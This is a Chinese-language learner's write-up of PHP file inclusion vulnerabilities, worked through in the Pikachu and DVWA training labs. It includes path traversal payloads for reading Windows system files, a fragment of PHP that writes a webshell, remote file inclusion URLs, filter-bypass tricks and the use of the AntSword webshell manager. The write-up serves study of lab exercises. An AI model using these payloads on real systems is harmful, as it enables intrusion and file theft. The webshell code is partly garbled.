文件包含漏洞

针对(pikachu)靶场

概念

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在 PHP 中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个 “意想不到” 的文件让包含函数去执行,从而造成恶意操作。
在 php 中能够造成文件包含的函数有 include、require、include_once、require_once、
highlight_file、show_source、file_get_contents、fopen、file、readfile

函数了解(先简单了解一下四种最常见的)

  1. include 函数
    可以放在 PHP 脚本的__任意位置__,一般放在流程控制的处理部分中。当 PHP 脚本执行到 include 指定引入的文件时,才将它包含并尝试执行。这种方式可以把程序执行时的__流程进行简单化__。当第二次遇到相同文件时,PHP 还是会__重新解释__一次,include 相对于 require 的__执行效率下降__很多,同时在引入文件中包含用户自定义函数时,PHP 在解释过程中会发生__函数重复定义__问题。include 载入成功后,返回 1,失败则返回 false。
  2. require 函数
    require 函数一般放在 PHP 脚本的__最前面__,PHP 执行前就会先读入 require 指定引入的文件,包含并尝试执行引入的脚本文件。require 的工作方式是__提高 PHP 的执行效率__,当它在同一个网页中解释过一次后,第二次便不会解释。但同样的,正因为它不会重复解释引入文件,所以当 PHP 中使用循环或条件语句来引入文件时,需要用到 include。require 载入成功返回 1,失败无返回值。
  3. nclude_once 和 require_once 函数
    分别与 require /include 作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。

(pikachu)学习

通过 pikachu 文件包含漏洞的学习,目前可将文件包含漏洞分为两大类:本地的和远程的
感觉套路主要是利用 php 的几个函数漏洞,再利用 php 伪协议获取情报乃至注入脚本,最终夺取 flag

file inclusion(local)

  • 输入下拉框内容看看
    发现是一张图片,并且 url 是这样的:
    http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit = 提交
    发现出现一个 php 文件,那么很有可能出现文件包含漏洞
  • 之后就是熟悉页面,点击其他的下拉框内容看看。
    这里还有另外一个结合爆破的 good idea。
    可以抓包,然后捏,对 filex.php 的 x 进行数字爆破(这个既然是利用工具的话,咱们可以搞得稍微大一点看看普遍情况,个人认为 100 左右比较合适),之后回馈包的大小,发现最多到 file6.php 有内容,并且这个 file6.php 还是个隐藏的宝藏(包含用户名和密码)文件咩
    看看其他报错的文件的具体报错信息(一般没有经过严格安全制约的系统回馈报错信息会有很大含金量!)

    从上面的报错信息还可以发现系统是 windows 系统,并且网站根目录是 D:\phpstudy_pro\WWW
    那么咱们就可以看看 windows 系统中的一些文件信息,如果按照逻辑正常显示出来,必定有文件包含漏洞
  • …/…/…/…/…/…/windows/win.ini

    当然喽,我也尝试过爆 D 盘的一些本地文件来理解路径的问题,有兴趣也可以试一试,包括修改 fi_local.php 文件的信息用来理解具体注入原理
    Q:
  1. …/…/…/…/…/1.txt(可以从当前文件夹 include 回退到 pikachu 目录下的 1.txt)
  2. (可以从当前文件夹 include 回退到 D 盘目录下的 post.txt, 无论…/ 有多少可以一直在 d 盘搜索)
  3. …/…/…/Windows/System32/drivers/etc/hosts(不知道如何回退到 c 盘进行查找??? inlude_path 配置???)
    A:
    include_path=".;c:\php\includes"
    include “include/filename" 两者拼接,所以需要至少回退三级才能回到c盘进入处理 Q: include_path=".;c:\php\includes" include "filename”
    practice: …/…/Windows/System32/drivers/etc/hosts (报错)
    /…/…/Windows/System32/drivers/etc/hosts(可以)
    A:
    以 include "filename";为例,filename";为例,filename 为传入参数,当filename./../开头时(),跳过includepath的作用逻辑,不进行拼接,直接访问;若filename以./或../开头时(),跳过include_path的作用逻辑,不进行拼接,直接访问;若 filename 不以./ 或…/ 开头,会根据 include_path 组成一个待选的目录列表。
  • 利用一句话木马玩一玩
  1. 可以把 1.txt 中的内容改成 php 代码

获取 php 版本信息

2. 把文件转换成图片看一看
也是相当🆗滴

  • 总结
    无论是什么样的文件都会解析为 php 文件
    这种方式需要我们了解网站目录下有哪些文件

file inclusion(remote)

可以连接远地文件注入一句话木马
注入一句话木马比如写入密码,利用中国蚁剑可以控制查看整个网站文件内容

  • 中国蚁剑可以控制查看整个网站文件内容
  1. 可以利用远端网站的 php 代码将 php 代码写入 fileinclude 文件夹下面
    hack.txt 文件中的内容
";

b=fopen("a.php","w")ordie("123!");fwrite(b = fopen("a.php","w") or die("123!"); fwrite(b,a);fclose(a); fclose(b);
echo "大佬!木马已生成。";
echo ‘
’;
?>
这里导致我下面的问题,后续解决,搜了一天也没太明白
2. 自己写一个简单的一句话木马文件放在 fileinclude 文件夹下面

Q:
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://0.0.0.0:8080/hack/hack.txt&submit = 提交
我不理解为什么这样不行(路径问题咩?) ,我用 python 开了一个网站 > python -m http.server 8080
http://0.0.0.0:8080/hack/hack.txt 是可以正常访问内容的
但是这样却可以 http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/yijuhua.txt&submit=% E6%8F%90% E4% BA% A4
成功在 D:\phpstudy\WWW\pikachu\vul\fileinclude 路径下生成 yijuhua.php 文件

(DVWA)靶场

low

  • 分析源代码

直接将参数传进去,那么这个参数 page 就可以玩一玩喽

";

b=fopen("a.php","w")ordie("123!");fwrite(b = fopen("a.php","w") or die("123!"); fwrite(b,a);fclose(a); fclose(b);
echo "大佬!木马已生成。";
echo ‘
’;
?>
之后会在 fi 文件夹下生成 a.php 文件
中国蚁剑登场

medium

  • 源码

使用 str_replace 函数是极其不安全的,因为可以使用双写绕过替换规则
所以源代码做了一层简单的过滤将”http:// ”、”https://”、 ” …/”、”…\” 替换为空字符

high

  • 源码
  • fnmatch()
    根据指定的模式来匹配文件名或字符串
    菜鸟教程上说该函数无法在 Windows 平台上使用。???
    所以我可以理解成源码只对文件不是 include.php 的进行了过滤咩?
  • 实验问题
    貌似不能这么理解,因为我的实验(这样的话对 medium 的方法也可以,但是不行!)失败了
    我再想一想
    A:
    这个函数应该是可以在 windows 上部分 php 版本上使用的,至少我的 5.5.9 版本是 ok 的。
  • file 协议
    参考 http://t.csdn.cn/HTu25
    本地文件传输协议,主要用于访问本地计算机中的文件
    基本的格式如下:file:/// 文件路径
    http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy\1.txt

impossible

  • 分析源码

咩。。。。绝了,这就叫 impossible,简单粗暴,赞
简单一点吧~

XVWA

额,肝了 DVWA 靶场的题,这个真没啥意思不介绍了,就还是本地和远程两种,想怎么玩就怎么玩,看你心情喽

访问量 访客